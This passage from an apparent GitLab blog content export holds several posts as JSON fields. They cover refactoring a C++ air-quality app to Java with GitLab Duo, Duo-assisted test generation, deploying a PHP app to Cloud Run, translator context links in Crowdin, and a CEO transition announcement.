to a memory safe language, namely Java. The C++ application can be found in the following project (thank you to [@sugaroverflow](https://gitlab.com/sugaroverflow) for contributing this sample application):\n\n[https://gitlab.com/gitlab-da/use-cases/ai/ai-applications/refactor-to-java/air-quality-application](https://gitlab.com/gitlab-da/use-cases/ai/ai-applications/refactor-to-java/air-quality-application)\n\nSince this is the first time we are seeing this application, let’s invoke GitLab Duo Code explanation to better understand what it does. We open file `main.cpp` in Visual Studio Code and select the entirety of this file. We then right-click and select **GitLab Duo Chat > Explain selected snippet** from the popup menu.\n\n![duo-code-explanation-menu-option](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675546/Blog/Content%20Images/code-explanation-menu-option.png)\n\nThe GitLab Duo Chat window opens up and the slash command `/explain` is executed for the selected code. Chat returns a very thorough and detailed description and explanation in natural language form of what each function does in the file as well as examples on how to run the compiled program.\n\n![code-explanation-text](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/code-explanation-text.png)\n\nIn short, the simple C++ application takes a U.S. zip code as input and returns the air quality index for that zip code.\n\n## Compiling and running the C++ application\n\nTo further understand this simple C++ application, we proceed to compile and run it. We could have asked Chat how to do this, however, the project has a README file that provides the commands to compile the project, so we go ahead and use those by entering them in the Terminal window of VS Code.\n\n![compile-command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/compile-command.png)\n\nAfter the compilation finishes, we change directory to the `build` subdirectory in the project, which is where the compilation process places the executable file for this application. Then, we run the executable by entering the following command:\n\n`./air_quality_app 32836`\n\nAnd we see the response as follows:\n\n`Air Quality Index (AQI) for Zip Code 32836: 2 (Fair)`\n\n![cplus-plus-app-execution-output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/cplus-plus-app-execution-output.png)\n\nThis confirms to us that the application was successfully compiled and it’s executing appropriately.\n\n## Refactoring the application to Java\n\nLet’s start migrating this C++ application to Java. We take advantage of GitLab Duo Chat and its refactoring capabilities by using the slack command `/refactor`. We qualify the slash command with specific instructions on what to do for the refactoring. We enter the following command in the Chat input field:\n\n> /refactor this entire application to Java. Provide its associated pom.xml to build and run the Java application. Also, provide the directory structure showing where all the resulting files should reside for the Java application.\n\n![refactor-chat-output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/refactor-chat-output.png)\n\nChat returns a set of Java files that basically refactor the entire C++ application to the memory safe language. In addition and per the prompt, Chat returns the pom.xml file, needed by [maven](https://docs.gitlab.com/ee/api/packages/maven.html) for the building and execution of the refactored application as well as its directory structure, indicating where each generated file should reside.\n\nWe copy and save all the generated files to our local directory.\n\n## Creating the Java project\n\nIn VS Code, we now proceed to open an empty project in which we will set up the directory structure of the new Java application and its contents.\n\nWe create all the previously generated Java files in their corresponding directories in the new project and paste their contents in each.\n\n![java-files-created](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/java-files-created.png)\n\nLastly, we save all the files to our local disk.\n\n## Asking for help to build and run the Java application\n\nAt this point, we have an entire Java application that has been refactored from C++. Now, we need to build it but we don’t quite remember what maven command we need to use to accomplish this.\n\nSo we ask GitLab Duo Chat about this. We enter the following prompt in the Chat input field:\n\n> How do you build and run this application using maven?\n\n![maven-info-output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/maven-info-output.png)\n\nChat returns with a thorough explanation on how to do this, including examples of the maven command to build and run the newly created Java application.\n\n## Building and running the Java application\n\nGitLab Duo Chat understands the application and environment context and responds that we first need to create an environment variable called `API_KEY` before we can run the application.\n\nIt also provides the maven command to execute to build the application, which we enter in the Terminal window:\n\n```unset\nmvn clean package\n``` \n\n![java-build-output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/java-build-output.png)\n\nOnce the build finishes successfully, we copy the generated command to run the application from the Chat window and paste it in the Terminal window:\n\n```unset\njava -jar target/air-quality-checker-1.0-SNAPSHOT-jar-with-dependencies.jar 90210\n```\n\n![java-app-execution-output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675547/Blog/Content%20Images/java-app-execution-output.png)\n\nThe application successfully executes and returns the string:\n\n```unset\nAir Quality Index (AQI) for Zip Code 90210: 2 (Fair)\n```\n\nWe have confirmed that the modernized version of the application, now refactored in Java, runs just like its original C++ version.\n\n## Watch this tutorial in action\n\nWe have seen that by leveraging the power of GitLab Duo in your modernization activities, you can save a great deal of time and effort, freeing you to spend more time innovating and creating value to your organization.\n\nHere is a video to show you, in action, the tutorial you just read:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/LJ7GOr_P0xs?si=_ZjF75DAXEQnY2Mn\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> #### Want to get started with GitLab Duo? [Start a free, 60-day trial today!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/)\n\n## Learn more\n- [Refactor code into modern languages with AI-powered GitLab Duo](https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo/)\n- [Secure by Design principles meet DevSecOps innovation in GitLab 17](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/)\n- [How to secure memory-safe vs. manually managed languages](https://about.gitlab.com/blog/memory-safe-vs-unsafe/)\n",[790,479,696,185],{"slug":3459,"featured":6,"template":678},"modernizing-a-simple-c-application-to-java-with-gitlab-duo","content:en-us:blog:modernizing-a-simple-c-application-to-java-with-gitlab-duo.yml","Modernizing A Simple C Application To Java With Gitlab Duo","en-us/blog/modernizing-a-simple-c-application-to-java-with-gitlab-duo.yml","en-us/blog/modernizing-a-simple-c-application-to-java-with-gitlab-duo",{"_path":3465,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3466,"content":3472,"config":3477,"_id":3479,"_type":16,"title":3480,"_source":17,"_file":3481,"_stem":3482,"_extension":20},"/en-us/blog/automating-with-gitlab-duo-part-2-complex-testing",{"title":3467,"description":3468,"ogTitle":3467,"ogDescription":3468,"noIndex":6,"ogImage":3469,"ogUrl":3470,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3470,"schema":3471},"Automating with GitLab Duo, Part 2: Complex testing","Find out how the GitLab team addressed more complex testing situations using GitLab Duo's AI capabilities, including ensuring that code testing followed standards.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099243/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750099243011.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating with GitLab Duo, Part 2: Complex testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-10\",\n      }",{"title":3467,"description":3468,"authors":3473,"heroImage":3469,"date":3474,"body":3475,"category":791,"tags":3476},[3359],"2024-12-10","The first part of our three-part series on [test generation with GitLab Duo](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests/) focused on how to automate code testing. Now, we will share the lessons we learned while using AI for test generation.\n\n## Situations we encountered and how we handled them\n\nOverall, we were pleased with the results using [GitLab Duo](https://about.gitlab.com/gitlab-duo/) to generate tests on our code. As is the case with any language generation, some cases required minor adjustments such as fixing import paths or editing contents in datasets. For the more complex cases, we had to remember that AI solutions often lack context. Here's how we handled the more complex testing situations with GitLab Duo.\n\n### Updating existing test cases\n\nAs is often the case when developing a software product, we encountered instances that required updates to existing tests. Rather than manually making adjustments to a full test suite for a common issue, we took full advantage of the GitLab Duo Chat window in VS Code. For example, to refactor tests, we used the Chat prompt “Please update the provided tests to use unittest rather than pytest” followed by pasting in the tests we wanted GitLab Duo to update.\n\n![Automated test generation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099252303.png)\n\n\u003Cbr>\u003C/br>\n\n![Chat prompt requesting use of unittest rather than pytest](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099252304.png)\n\n**Note:** We copy-and-pasted GitLab Duo's recommendations into our code.\n\n### Creating tests for legacy code\n\nCreating tests for legacy code we knew worked was another challenging situation we encountered. In such circumstances, it was valuable to provide error snippets alongside failing tests and ask GitLab Duo to provide new tests. A full copy-and-paste from the terminal window of noted failures and errors to Chat, along with a request to “Please explain and fix this failing test” or similar prompts, yielded a summary of the issues the test was encountering as well as a new test addressing the problem. We did find this sometimes required multiple rounds of refactoring as new test failures were identified. However, the efficiency of GitLab Duo to provide various refactored solutions was fast and a net positive on team and developer efficiency.\n\n### Working with complex or abstracted code\n\nIn other instances, the modularization or complexity of our code led to variance in GitLab Duo’s results. For instance, when generating tests, GitLab Duo sometimes generated a series of passing and failing tests caused by differences in testing approach (e.g. usage of Mock and which objects were mocked). We provided GitLab Duo its own example of a passing test and asked it to modify individual tests one at a time to match the style of the passing tests to maintain consistency. We also would provide GitLab Duo a file of functioning tests for a similar object or task so it could mirror the structure.\n\n### Ensuring generated code follows our standards\n\nWhile developing a Python module, GitLab Duo generated many tests using Mock and often they required refactoring, particularly around naming standardization. In such cases, we could leverage GitLab Duo Chat to refactor tests with instructions as to which specific test components to update. Prompting GitLab Duo for these changes was immensely faster than refactoring tests individually, as we had previousy done.\n\n### Addressing uncovered test cases\n\nGitLab Duo generated tests for additional test cases the team had not previously considered, thus increasing coverage. Luckily, we could use GitLab Duo to quickly and efficiently address these edge cases and expand testing coverage, which is a key value-add for our team to build quickly and ensure a robust product.\n\n## What we learned\n\nHere are few key lessons that have been important to our success with GitLab Duo:\n\n* **Fast and efficient for rapid development and iteration -** GitLab Duo’s role in generating automated tests has been a key accelerator in development for our team and allowed us to work faster and with greater confidence in our changes.\n* **Important to use appropriate prompts -** When using GitLab Duo for our use case, we touched on a key topic for machine learning optimization: prompt engineering. Sometimes we needed to modify our question by just a few keywords to lead to the ideal generated answer. \n* **Need understanding of underlying frameworks and code -** When it comes to any AI-generated code that makes it into a product, even if only as testing, it’s critical that we understand how the code functions so we can adequately debug as well as request informed changes.\n* **Need understanding of desired end state and standards -** Similar to following coding standards for formatting and library usage while developing without AI, it’s important to maintain the vision of what the intended outcomes look like and what standards are being adhered to when using AI. GitLab Duo needs the context to understand code standards, so it’s critical for team members using GitLab Duo to provide adequate oversight of its outputs to ensure quality and other expectations are met.\n* **GitLab Duo is not a replacement for all tests -** While we use GitLab Duo significantly for generating automated tests, it does not replace our other tests and human oversight. Functional tests, integration tests, and more still serve a valuable place in the QA process and overall software development lifecycle.\n\nIn our next article in this series, we’ll cover [a test we ran to validate the impact of GitLab Duo on our team’s automated testing](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-3-validating-testing/) and discuss the impressive results we have achieved thus far.",[790,942,479],{"slug":3478,"featured":6,"template":678},"automating-with-gitlab-duo-part-2-complex-testing","content:en-us:blog:automating-with-gitlab-duo-part-2-complex-testing.yml","Automating With Gitlab Duo Part 2 Complex Testing","en-us/blog/automating-with-gitlab-duo-part-2-complex-testing.yml","en-us/blog/automating-with-gitlab-duo-part-2-complex-testing",{"_path":3484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3485,"content":3491,"config":3496,"_id":3498,"_type":16,"title":3499,"_source":17,"_file":3500,"_stem":3501,"_extension":20},"/en-us/blog/how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration",{"title":3486,"description":3487,"ogTitle":3486,"ogDescription":3487,"noIndex":6,"ogImage":3488,"ogUrl":3489,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3489,"schema":3490},"How to deploy a PHP app using GitLab's Cloud Run integration","Are you using PHP and want an easy way to deploy your application to Google Cloud? Follow this guide to deploy your app with Google Cloud Run in under 10 minutes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098264/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_519147119_2RafH61mqosMZv8HGAlsUj_1750098264407.jpg","https://about.gitlab.com/blog/how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy a PHP app using GitLab's Cloud Run integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Nnachi\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2024-12-10\",\n      }",{"title":3486,"description":3487,"authors":3492,"heroImage":3488,"date":3474,"body":3494,"category":734,"tags":3495},[3493,2621],"Christian Nnachi","Writing PHP application code and ensuring the application is running smoothly in production are often two different skills sets owned by two different engineers. GitLab aims to bridge the gap by enabling the engineer who has written the PHP application code to also deploy it into Google Cloud Platform with little effort. \n\nWhether you own event-driven, long-running services or deploy containerized jobs to process data, Google Cloud Run automatically scales your containers up and down from zero — this means you only pay when your code is running.\n\nIf you are a PHP developer who would like to deploy your application with minimal effort to Google Cloud Platform, this guide will show you how using the GitLab Google Cloud Run integration. \n\n# Overview\n\n- Create a new project in GitLab\n- Set up your PHP application\n- Utilizing the Google Cloud integration, create a Service account\n- Utilizing the Google Cloud integration, configure Cloud Run via merge request\n- Try adding another endpoint\n- Clean up\n\n## Prerequisites\n- Owner access on a Google Cloud Platform project\n- Working knowledge of [PHP](https://www.php.net/manual/en/introduction.php), an open-source, general-purpose scripting language\n- Working knowledge of [GitLab CI](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-integration-ci)\n- 10 minutes\n\n## 1. Create a new project in GitLab.\n\nWe decided to call our project `PHP cloud-run` for simplicity.\n\n![PHP cloud- run project](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098287/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098287615.png)\n\nThen, create an index.php app[https://gitlab.com/demos/templates/php-cloud-run/-/blob/main/index.php](https://gitlab.com/demos/templates/php-cloud-run/-/blob/main/index.php).\n\n```php\n\u003C?php\n\n$name = getenv('NAME', true) ?: 'World';\necho sprintf('Hello %s!', $name);\n```\n\n## 2. Utilizing the Google Cloud integration, create a Service account.\n\nNavigate to **Operate > Google Cloud > Create Service account**. \n\n![Create Service account screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098287616.png)\n\nThen configure the region you would like the Cloud Run instance deployed to.\n\n![Configure region screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098287618.png)\n\n## 3. Utilizing the Google Cloud integration, configure **Cloud Run via merge request**.\n\n![Deployment configuration screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098287620.png)\n\nThis will open a merge request. Immediately merge this merge request.\n\n![Enable Deployments to Cloud run screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098287622.png)\n\n**Note:** `GCP_PROJECT_ID`, `GCP_REGION`,  `GCP_SERVICE_ACCOUNT`, and `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the previous steps.\n\n![Variables screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098287624.png)\n\nCheck your pipeline and you will see you have successfully deployed to Google Cloud Run utilizing GitLab CI.\n\n![merge branch screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098287625.png)\n\n\u003Cbr>\u003C/br>\n\n![Google Cloud Run deployed with GitLab CI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098287627.png)\n\n## 4. Click the **Service URL** to view your newly deployed Flask server.\n\nIn addition, you can navigate to **Operate > Environments** to see a list of deployments for your environments.\n\n![Environments screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098287628.png)\n\nBy clicking on the environment called **main**, you’ll be able to view a complete list of deployments specific to that environment.\n\n![Main environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098288/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098287631.png)\n\n## 5. Add another endpoint\n\nTo get started with developing your PHP application, try adding another endpoint. For example, in your main file, you can add a `/bye` endpoint like this:\n\n```\n\n\u003C?php\n\n$name = getenv('NAME', true) ?: 'World';\n\nif ($_SERVER['REQUEST_URI'] == '/bye') {\n    echo sprintf('Goodbye %s!', $name);\n} else {\n    echo sprintf('Hello %s!', $name);\n}\n\n```\n\nPush the changes to the repo, and watch the `deploy-to-cloud-run` job deploy the updates. Once the job is complete, go back to the Service URL and navigate to the `/bye` endpoint to see the new functionality in action.\n\n### Clean up\n\nTo prevent incurring charges on your Google Cloud account for the resources used in this tutorial, you can either delete the specific resources or delete the entire Google Cloud project. For detailed instructions, refer to the [cleanup guide here](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).\n\n> Check out more [easy-to-follow tutorials from our Solutions Architecture team](https://about.gitlab.com/blog/tags/solutions-architecture/).",[2488,696,923,232],{"slug":3497,"featured":6,"template":678},"how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration","content:en-us:blog:how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration.yml","How To Deploy A Php App Using Gitlabs Cloud Run Integration","en-us/blog/how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration.yml","en-us/blog/how-to-deploy-a-php-app-using-gitlabs-cloud-run-integration",{"_path":3503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3504,"content":3510,"config":3516,"_id":3518,"_type":16,"title":3519,"_source":17,"_file":3520,"_stem":3521,"_extension":20},"/en-us/blog/how-gitlab-empowers-translators-with-more-context",{"title":3505,"description":3506,"ogTitle":3505,"ogDescription":3506,"noIndex":6,"ogImage":3507,"ogUrl":3508,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3508,"schema":3509},"How GitLab empowers translators with more context","Learn about the new translation context enhancement feature in GitLab. Join our translation community and help translate GitLab to your language.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097922/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750097921899.png","https://about.gitlab.com/blog/how-gitlab-empowers-translators-with-more-context","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab empowers translators with more context\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Oleksandr Pysaryuk\"}],\n        \"datePublished\": \"2024-12-09\",\n      }",{"title":3505,"description":3506,"authors":3511,"heroImage":3507,"date":3513,"body":3514,"category":813,"tags":3515},[3512],"Oleksandr Pysaryuk","2024-12-09","GitLab is continuously translated by our global community of translators and proofreaders. Through [Crowdin](https://docs.gitlab.com/ee/development/i18n/translation.html), they help make our product more accessible to the world by translating it into 78 languages. GitLab translation community members are volunteer translators, working professionals who are GitLab users, and even [university students contributing to translators as part of their classroom projects](https://about.gitlab.com/blog/behind-the-scenes-of-gitlab-korean-translation/).\n\n### How the GitLab open-core model supports translators\n\nWhile this community collaboration is powerful, translators often face a crucial challenge: understanding the full context of the text that they are translating.\n\nGreat translation isn't just about converting words – it's about preserving meaning, intent, and usability in a target language. Software translation requires a unique blend of skills. Great translators usually specialize in multiple linguistic domains as well as the technical domain of the product itself. They perform myriad translation-adjacent tasks such as:\n\n* ensuring accuracy and consistency of technical terminology\n* creating new glossary terms for new concepts\n* adhering to the style and tone\n* navigating the complexity of [CLDR pluralization rules](https://www.unicode.org/cldr/charts/46/supplemental/language_plural_rules.html)\n* understanding the translatability of composite messages and how to provide feedback to improve the source by making it localizable\n\nTranslators spend lots of time researching context, asking questions, and reading [GitLab product documentation](https://docs.gitlab.com/). Without proper context, even simple phrases can be mistranslated, potentially confusing or disrupting user workflows. What sets [GitLab apart is its open-core model](https://about.gitlab.com/blog/gitlab-is-open-core-github-is-closed-source/), which allows translators to access most of the product development context directly at the source. This transparency empowers them to actively contribute as true [co-creators of the GitLab global product](https://handbook.gitlab.com/handbook/company/mission/#mission).\n\n### Introducing our new context-enhancement feature\n\nTo support these needs and empower translators with context, GitLab has developed a new feature: we now [embed into each translatable string a contextual link](https://docs.gitlab.com/ee/development/i18n/translation.html#context) (more specifically, a link to our global in-product search) that lets translators locate all instances of that string in the codebase. These links allow translators to rely on [Git blame](https://docs.gitlab.com/ee/user/project/repository/files/git_blame.html) to trace every string's history – from its current location in code, through commits in merge requests, and all the way up to the original planning discussions.\n\nFor example, when you are translating **Rotate**, the **AccessTokens|** [namespace](https://docs.gitlab.com/ee/development/i18n/externalization.html#namespaces) suggests that the context is, well, *access tokens*. However, there is no additional visual context for what **Rotate** means, and translators are left to wonder, guess, and provide the best possible assumption in a target language.\n\nWith the new context enhancement, here is what translators are now able to do:\n\n1. Click the URL in the **See where this string is used in code** section.\n\n![see where this string is used in code section](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097928929.png)\n\n2. Review the [result of the code search](https://gitlab.com/search?project_id=278964&search=%22%28%5B%5E%3A%5D%28+%29%2B%3F%7C_%5C%5C%28%29%5B%27%5C%22%60%5DAccessTokens%5C%5C%7CRotate%5B%27%5C%22%60%5D%22+%28file%3A%5C.js%24+or+file%3A%5C.vue%24+or+file%3A%5C.rb%24+or+file%3A%5C.erb%24+or+file%3A%5C.haml%24%29+%28file%3A%5Eee%2Fapp%2F+or+file%3A%5Eee%2Flib%2F+or+file%3A%5Eee%2Fconfig%2F+or+file%3A%5Eee%2Flocale%2F+or+file%3A%5Eapp%2F+or+file%3A%5Elib%2F+or+file%3A%5Econfig%2F+or+file%3A%5Elocale%2F%29&regex=true), and click the **View blame** icon:\n\n![Screen with View blame icon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097928930.png)\n\n3. Follow the link with the relevant merge request ([Introduce rotation of personal tokens in UI](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/169954)):\n\n![Link with relevant merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097928932.png)\n\n4. On the **Commits** page, follow the link to the actual merge request:\n\n![Commits page with link](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097928934.png)\n\n5. Watch the screen recording that the software engineer added to the merge request:\n\n![screen recording in merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097928936.png)\n\n6. Research even further by going to:\n   a. The linked issue [Introduce renew expired token capability in UI](https://gitlab.com/gitlab-org/gitlab/-/issues/241523) or its parent epic [Rotate Token through the UI](https://gitlab.com/groups/gitlab-org/-/epics/14563):\n\n![linked issue and parent epic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097928938.png)\n\nb. The [related merge request that updates the GitLab product documentation](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/172916):\n\n![related merge request to update GitLab product documentation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097928940.png)\n\nAll these research steps will lead translators to better understand the technical concept of *access token rotation* and why the token rotation functionality was added, how it works, and what problem it solves for users.\n\nWith this rich research trail, translators get the maximum amount of context that will help provide the technically accurate and linguistically correct translation for the seemingly simple word **Rotate**.\n\nThis approach goes far beyond traditional translation aids like providing screenshots or exploring the product user interface. Translators can now fully understand the context by:\n\n* deriving context from paths and naming conventions used in code\n* viewing screenshots or video recordings that are added to original merge requests\n* reading original planning and development discussions\n* following the engineering, copywriting, and product management decision-making process that has led to specific wording\n\n### More AI-powered contextual features coming up\n\nThe GitLab Localization team isn't stopping here. We are working on [more context-enhancement features](https://gitlab.com/groups/gitlab-com/localization/-/epics/81), including AI-powered tools to help translators understand string usage and placement. Imagine a system where translators could interact with an agent by asking questions or proactively receiving immediate code-aware responses about where and how strings are used in the product UI.\n\n> ### Join our [community on Crowdin](https://docs.gitlab.com/ee/development/i18n/) as a translator or a [proofreader](https://docs.gitlab.com/ee/development/i18n/#proofreading), try these new context features, and let us know how we can make the [translation experience and our product even better](https://gitlab.com/gitlab-com/localization/localization-team/-/issues/259).\n",[267,2368,695,2704],{"slug":3517,"featured":6,"template":678},"how-gitlab-empowers-translators-with-more-context","content:en-us:blog:how-gitlab-empowers-translators-with-more-context.yml","How Gitlab Empowers Translators With More Context","en-us/blog/how-gitlab-empowers-translators-with-more-context.yml","en-us/blog/how-gitlab-empowers-translators-with-more-context",{"_path":3523,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3524,"content":3530,"config":3536,"_id":3538,"_type":16,"title":3539,"_source":17,"_file":3540,"_stem":3541,"_extension":20},"/en-us/blog/gitlab-names-bill-staples-as-new-ceo",{"title":3525,"description":3526,"ogTitle":3525,"ogDescription":3526,"noIndex":6,"ogImage":3527,"ogUrl":3528,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3528,"schema":3529},"GitLab names Bill Staples as new CEO","Co-founder Sid Sijbrandij transitions to Executive Chair of the Board.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665388/Blog/Hero%20Images/Revised2.png","https://about.gitlab.com/blog/gitlab-names-bill-staples-as-new-ceo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab names Bill Staples as new CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2024-12-05\",\n      }",{"title":3525,"description":3526,"authors":3531,"heroImage":3527,"date":3533,"body":3534,"category":299,"tags":3535,"updatedDate":3533},[3532],"Sid Sijbrandij","2024-12-05","__This message from Sid Sijbrandij and Bill Staples was shared with GitLab team members earlier today.__ \n\n__Sid:__ On today’s earnings call, I announced that I am stepping down as CEO and will remain Executive Chair of the Board. I also introduced GitLab’s new CEO, [Bill Staples](https://www.linkedin.com/in/williamstaples/). \n\nAs a Board, we routinely do succession planning. This includes conversations with a number of top executives. We’ve been having these conversations in greater earnest since my cancer returned. Through these discussions, we identified someone uniquely qualified to lead GitLab. I want more time to focus on my cancer treatment and health. My treatments are going well, my cancer is not metastatic, and I'm working towards making a full recovery. Stepping down from a role that I love is not easy, but I believe that it is the right decision for GitLab.\n\nI couldn't be more excited to introduce you to Bill Staples, who will be leading GitLab into its next chapter. Bill will be GitLab’s CEO, effective today. He will also join the GitLab Board as a Director. Bill was most recently a public company CEO at New Relic. During his time there, he significantly increased the value of the company by accelerating revenue and driving increased profitability. He also brings decades of experience in leadership roles at Adobe and Microsoft. When I began speaking with Bill, I was immediately drawn to his customer-centric approach and deep product expertise. As I got to know him further, I knew that his shared value system made him the right person for this role, for our team members, for our customers, and for our shareholders. I feel fortunate that GitLab has found someone with a great leadership track record and strong DevOps expertise to lead GitLab into the future.\n\nWe have come so far from the early days when we launched GitLab.com. We have created the DevOps category and are the leader in the Gartner Magic Quadrant for both vision and execution. Millions of people now use GitLab to deliver software faster and more efficiently. We have integrated AI, Security, and Compliance into our platform to offer our enterprise customers the strongest AI-powered DevSecOps solution. We have also built GitLab in collaboration with our contributors. Last quarter, we had an all-time high of an estimated 1,800 code contributions from the wider community. It is incredible that as GitLab grew, our contributor community grew with us. We have done all of this while being a values-driven company, leading in all-remote work, championing transparency through our public handbook and culture, and co-creating with the wider community.\n\nI feel many things today, but more than anything else, I am grateful. I want to thank our customers. Driving results for them has been at the core of GitLab’s values, and I greatly appreciate their trust in us. I want to thank the wider GitLab community for their trust and enthusiasm. Their tens of thousands of contributions have greatly enhanced GitLab and its value for all users. Thank you, GitLab team members. Your contributions are at the core of GitLab’s success and the value we drive for our customers. Thank you, E-Group. You are amazing partners and collaborators in leading GitLab and our team members to achieve our very best. Thank you, GitLab Board. I have appreciated your support throughout my time as CEO and look forward to our ongoing partnership as I continue to serve as Executive Chair. And, thank you, Bill. I am excited for you to lead our next phase of growth. I am here to support you and the company in GitLab’s next chapter!\n\nI couldn't be more thrilled about Bill and what's ahead for GitLab with him at the helm. We have an incredible opportunity in front of us. Software has never mattered more, and GitLab is well-positioned to be the platform that best enables folks to create, secure, and operate it. I look forward to staying part of the company and being actively involved wherever Bill can use me. \n\n__Bill:__ Thanks, Sid, for the warm welcome! I greatly admire you and what you have accomplished. Very few people in the world have built a $10B market-cap technology company, taken it public, and scaled it to $750M in run-rate revenue. You have done incredible things with GitLab, and I’m grateful you will continue to play a meaningful role in the company. I appreciate your trust in me and commit to building upon the successes you and others should rightfully celebrate. \n\nI am so excited about GitLab and the opportunity ahead of us. Over the coming decade, we will see software-driven transformation around the world as AI accelerates and transforms the software revolution already in motion. GitLab and our mission are going to be more important than ever. I look forward to working with this team to scale GitLab well beyond where it is today.\n",[736],{"slug":3537,"featured":92,"template":678},"gitlab-names-bill-staples-as-new-ceo","content:en-us:blog:gitlab-names-bill-staples-as-new-ceo.yml","Gitlab 